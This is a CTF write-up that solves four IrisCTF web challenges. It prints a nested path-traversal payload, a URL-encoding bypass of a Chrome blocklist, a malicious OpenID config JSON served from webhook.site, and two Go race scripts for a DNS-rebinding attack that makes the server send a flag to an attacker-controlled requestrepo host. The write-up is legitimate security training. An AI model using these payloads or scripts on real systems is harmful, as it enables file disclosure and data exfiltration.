We played irisctf as Ireland Without the RE and finished in 22nd position. This writeup will only include web challenges. We managed to full clear the web category so this will cover all of them.
web/Password Manager (357 Solves)
This was the “baby” Web challenge. I managed to get first blood on this with a time of
3 Minutes, 38 Seconds which I was pretty pleased about!
Analyzing the Source
The first thing I did when the CTF started was to download the challenge source. Opening it in my IDE I immediately noticed a reference to path traversal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func pages(w http.ResponseWriter, r *http.Request) {
// You. Shall. Not. Path traverse!
path := PathReplacer.Replace(r.URL.Path)
if path == "/" {
homepage(w, r)
return
}
if path == "/login" {
login(w, r)
return
}
if path == "/getpasswords" {
getpasswords(w, r)
return
}
fullPath := "./pages" + path
if _, err := os.Stat(fullPath); os.IsNotExist(err) {
notfound(w, r)
return
}
http.ServeFile(w, r, fullPath)
}
I saw the concatenation with fullPath
and the reference to http.ServeFile
and realized that whatever path we passed would be literally served. Next, I noticed the PathReplacer
and saw its source:
1
2
3
4
5
var PathReplacer = strings.NewReplacer(
"../", "",
)
So I figured this would only do a single replace of ../
and we could bypass by nesting this as ..././
and next we just needed to figure out where the flag was.
Well, the source file references a users.json
where presumably credentials are stored. Sending a GET /..././users.json
provides us with the following:
1
2
3
{
"skat": "rf=easy-its+just&spicysines123!@"
}
When we login with this user/pass combo we can find the flag.
irisctf{l00k5_l1k3_w3_h4v3_70_t34ch_sk47_h0w_70_r3m3mb3r_s7uff}
web/Political (152 Solves)
This next challenge was initially broken but was later fixed. It was a little bit painful and I burnt a lot of time trying to debug thinking there was something missing. We can create a token and it gets added to a dictionary and assigned the value False
but if we can send a request to /giveflag
with our token and the admin cookies then we can set it to true and retrieve it.
Analyzing the Source
So after generating a token 2123feca33c077329b773d226cbdf1b5
I checked the source to see how the admin bot could give me a cookie.
1
2
3
4
5
6
7
8
9
10
11
12
@app.route("/giveflag")
def hello_world():
if "token" not in request.args or "admin" not in request.cookies:
return "Who are you?"
token = request.args["token"]
admin = request.cookies["admin"]
if token not in valid_tokens or admin != ADMIN:
return "Why are you?"
valid_tokens[token] = True
return "GG"
So, we need to get it to pass token
as a request argument (GET parameter) and have the admin cookie (the bot already assigns this). Then we need to set the token
value to our token (2123feca33c077329b773d226cbdf1b5
) and it should work. That seems pretty simple. We can send it to /giveflag?token=2123feca33c077329b773d226cbdf1b5
and we will be done?
Chrome Policies
I figured out that the reason this wasn’t working was due to a browser policy. It is stored in the policies.json
file and added to the browser files during build time (see Dockerfile).
1
2
3
{
"URLBlocklist": ["*/giveflag", "*?token=*"]
}
From what I read about Chrome policies, these rules are globs. To interpret this; */giveflag
blocks a URL which contains /giveflag
literally and anything preceding it. This is pretty simple, however *?token=*
is deceiving. In this case the ?
means is globbed as a single character. This means that if you tried to bypass this filter by doing something like ?abc=xyz&token=...
it wouldn’t work as it would still match this rule!
In the end, I realized that URL encoding worked for both cases. https://political-web.chal.irisc.tf/%67iveflag?%74oken=2123feca33c077329b773d226cbdf1b5
Once I send the bot to this URL, I can return to submit my token and retrieve the flag.
irisctf{flag_blocked_by_admin}
web/Bad Todo (75 Solves)
This challenge really wasn’t all that hard. Most of the annoyance was setting up endpoints with the correct format on a webhook. The actual vulnerability was reasonably clear once you managed to authenticate.
Analyzing the Source
I firstly noticed this function getStoragePath
in storage.js
which was seemingly vulnerable to local file disclosure.
1
2
3
4
5
6
7
export function getStoragePath(idp, sub) {
const first2 = sub.substring(0, 2);
const rest = sub.substring(2);
const path = `${sha256sum(idp)}/${encodeURIComponent(first2)}/${encodeURIComponent(rest)}`;
return sanitizePath(path);
}
If we could control either idp
or sub
then we could abuse this. Immediately reading this, it becomes clear that controlling idp
isn’t all that useful since it is passed through sha256sum
before it ever gets used. However, controlling sub
would be sufficient. It cuts sub
into two parts, namely first2
and rest
which should be fine for us. If we pass just ..flag
it will load the flag!
So now I wanted to work backwards and find a function which calls getStoragePath
but allows us to control sub
value. It must also use the return value in such a way that we can see it.
Finding getUserTodos
Many of the functions call this but one which stood out to me was getUserTodos
which gets called in app.js
like so:
1
2
3
4
return res.render("todos.ejs", {
name,
todos: await getUserTodos(userInfo.idpUrl, userInfo.userId)
});
This function will pass userInfo.userId
into getStoragePath
and return its value. This also renders the value whenever we view our todo list. Next, we only need to find a way to modify userInfo.userId
to abuse it.
Dealing With Authentication
Firstly, we need to get a session. To do so, we need to return JSON containing the following keys: issuer
, authorization_endpoint
, token_endpoint
and userinfo_endpoint
.
The issuer
will be our idpURL
that we can use by pointing it to our webhook. The authorization_endpoint
should point to the challenge’s auth_redirect
so it can automatically redirect us to the next stage. The token_endpoint
can also point to our webhook. Finally, the userinfo_endpoint
can also point to our webhook so we can control its values. Once we return that, we will get a session (from /start
endpoint) and can proceed to /auth_redirect
flow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.get("/auth_redirect", asyncHandler(async (req, res) => {
if (!req.cookies.session) return res.end("No session");
if (req.cookies.session !== req.query.state) return res.end("Bad state");
if (req.query.error) {
return res.end("identity provider gave us an error.");
}
const sessionDetails = await lookupSession(req.cookies.session);
const response = await safeJson(sessionDetails.idpUrl + "/.well-known/openid-configuration");
if (!response.token_endpoint) return res.end("No token endpoint");
if (!response.userinfo_endpoint) return res.end("No user info endpoint");
const search = new URLSearchParams();
search.append("grant_type", "authorization_code");
search.append("code", req.query.code);
search.append("redirect_uri", process.env.BASE + "/auth_redirect");
search.append("client_id", sessionDetails.clientId);
const tokenResponse = await safeJson(response.token_endpoint, {
method: "POST",
body: search.toString(),
headers: {
"Content-Type": "application/x-www-form-urlencoded"
}
});
if (!tokenResponse || !tokenResponse.access_token || !tokenResponse.token_type) return res.end("Bad token response");
const userInfo = await safeJson(response.userinfo_endpoint, {
headers: {
"Authorization": `${tokenResponse.token_type} ${tokenResponse.access_token}`
}
});
if (!userInfo || !userInfo.sub) return res.end("user has no sub");
await successfulLogin(req.cookies.session, userInfo);
res.setHeader("Location", `/`)
res.sendStatus(302);
}));
To abuse this, we want to return an access_token
and a token_type
which don’t really matter as long as they’re defined. Finally, the value of sub
will be passed into our function which retrieves todos (vulnerable to the LFD).
Final Payload
1
{"issuer":"https://webhook.site/2c0beb1c-d788-4bb4-829d-6625f44347f0","authorization_endpoint":"https://bad-todo-web.chal.irisc.tf/auth_redirect","token_endpoint":"https://webhook.site/2c0beb1c-d788-4bb4-829d-6625f44347f0","userinfo_endpoint":"https://webhook.site/2c0beb1c-d788-4bb4-829d-6625f44347f0","access_token":"lmao","token_type":"Bearer","sub":"..flag"}
By hosting this on our webhook and using that as our issuer URL when signing up, we can read the flag file.
irisctf{per_tenant_databases_are_a_cool_concept_indeed}
web/webwebhookhook (16 Solves)
This was probably the most interesting challenge in my opinion. It took me some time and I went down a short rabbit hole of considering request smuggling vulnerabilities but it turns out the actual issue is in relation to Java’s URL.equals()
which apparently does a DNS-level comparison (see here).
Analyzing the Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package tf.irisc.chal.webwebhookhook.controller
import org.springframework.http.MediaType
import org.springframework.stereotype.Controller
import org.springframework.ui.Model
import org.springframework.web.bind.annotation.*
import tf.irisc.chal.webwebhookhook.State
import tf.irisc.chal.webwebhookhook.StateType
import java.net.HttpURLConnection
import java.net.URI
@Controller
class MainController {
@GetMapping("/")
fun home(model: Model): String {
return "home.html"
}
@PostMapping("/webhook")
@ResponseBody
fun webhook(@RequestParam("hook") hook_str: String, @RequestBody body: String, @RequestHeader("Content-Type") contentType: String, model: Model): String {
var hook = URI.create(hook_str).toURL();
for (h in State.arr) {
if(h.hook == hook) {
var newBody = h.template.replace("_DATA_", body);
var conn = hook.openConnection() as? HttpURLConnection;
if(conn === null) break;
conn.requestMethod = "POST";
conn.doOutput = true;
conn.setFixedLengthStreamingMode(newBody.length);
conn.setRequestProperty("Content-Type", contentType);
conn.connect()
conn.outputStream.use { os ->
os.write(newBody.toByteArray())
}
return h.response
}
}
return "{\"result\": \"fail\"}"
}
@PostMapping("/create", consumes = [MediaType.APPLICATION_JSON_VALUE])
@ResponseBody
fun create(@RequestBody body: StateType): String {
for(h in State.arr) {
if(body.hook == h.hook)
return "{\"result\": \"fail\"}"
}
State.arr.add(body)
return "{\"result\": \"ok\"}"
}
}
And that’s basically it! I love a short challenge that requires you to think outside the box and this definitely was the case here. You will notice that we iterate over every webhook in the array and then compare the URLs. If they are equal, we will send a request.
The trick here is knowing where the DNS resolves will occur. During the iteration it will compare the hook URL with our input and resolve the DNS here. Next, it replaces our template and finally it will do another DNS resolve to send the request.
The flag is stored in a webhook assigned to example.com
which has IP address 93.184.215.14
and so what we would like here is for our domain to initially resolve to this IP (thus passing the equality check) but then change back to our webhook before it sends the request with the flag. This is known as a DNS rebinding attack.
We can expand the race window here by having a large body so the replace operation in the template takes a bit longer. I ended up having to write my exploits in Golang to achieve the race.
Final Payloads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"sync"
)
const (
url = "https://webwebhookhook-5dbcb929250a3fff.i.chal.irisc.tf/webhook?hook=http://pwn.fl7mhi6b.requestrepo.com/admin"
value = "A"
size = 500000
workers = 10 // Number of concurrent goroutines
)
func main() {
data := map[string]string{
"abc": repeat(value, size),
}
payload, _ := json.Marshal(data)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for {
resp, err := http.Post(url, "application/json", bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error:", err)
continue
}
resp.Body.Close()
fmt.Println("Status:", resp.Status)
}
}()
}
wg.Wait()
}
func repeat(s string, count int) string {
var result bytes.Buffer
for i := 0; i < count; i++ {
result.WriteString(s)
}
return result.String()
}
This probe.go
script will consistently probe the webhook passing in my http://pwn.fl7mhi6b.requestrepo.com/admin
which has an A record pointing to 93.184.215.14
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
import (
"bytes"
"encoding/json"
"fmt"
"math/rand"
"net/http"
"sync"
"time"
)
const (
url = "https://webwebhookhook-5dbcb929250a3fff.i.chal.irisc.tf/create"
workers = 10 // Number of concurrent goroutines
)
func main() {
rand.Seed(time.Now().UnixNano())
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for {
token := generateToken(32)
data := map[string]string{
"hook": fmt.Sprintf("http://pwn.fl7mhi6b.requestrepo.com/%s", token),
"template": "",
"response": "",
}
payload, _ := json.Marshal(data)
resp, err := http.Post(url, "application/json", bytes.NewBuffer(payload))
if err != nil {
fmt.Println("Error:", err)
continue
}
resp.Body.Close()
fmt.Println("Status:", resp.Status)
}
}()
}
wg.Wait()
}
func generateToken(length int) string {
const charset = "abcdef0123456789"
result := make([]byte, length*2)
for i := range result {
result[i] = charset[rand.Intn(len(charset))]
}
return string(result)
}
This dns_refresh.go
will run in parallel and simply creates new webhooks with the same requestrepo link. The purpose of this is so that it will be forced to resolve the DNS again and refresh it.
Running them in parallel and then removing the A record pointing to example.com
will eventually give us the flag when the TTL is surpassed.
irisctf{url_equals_rebind}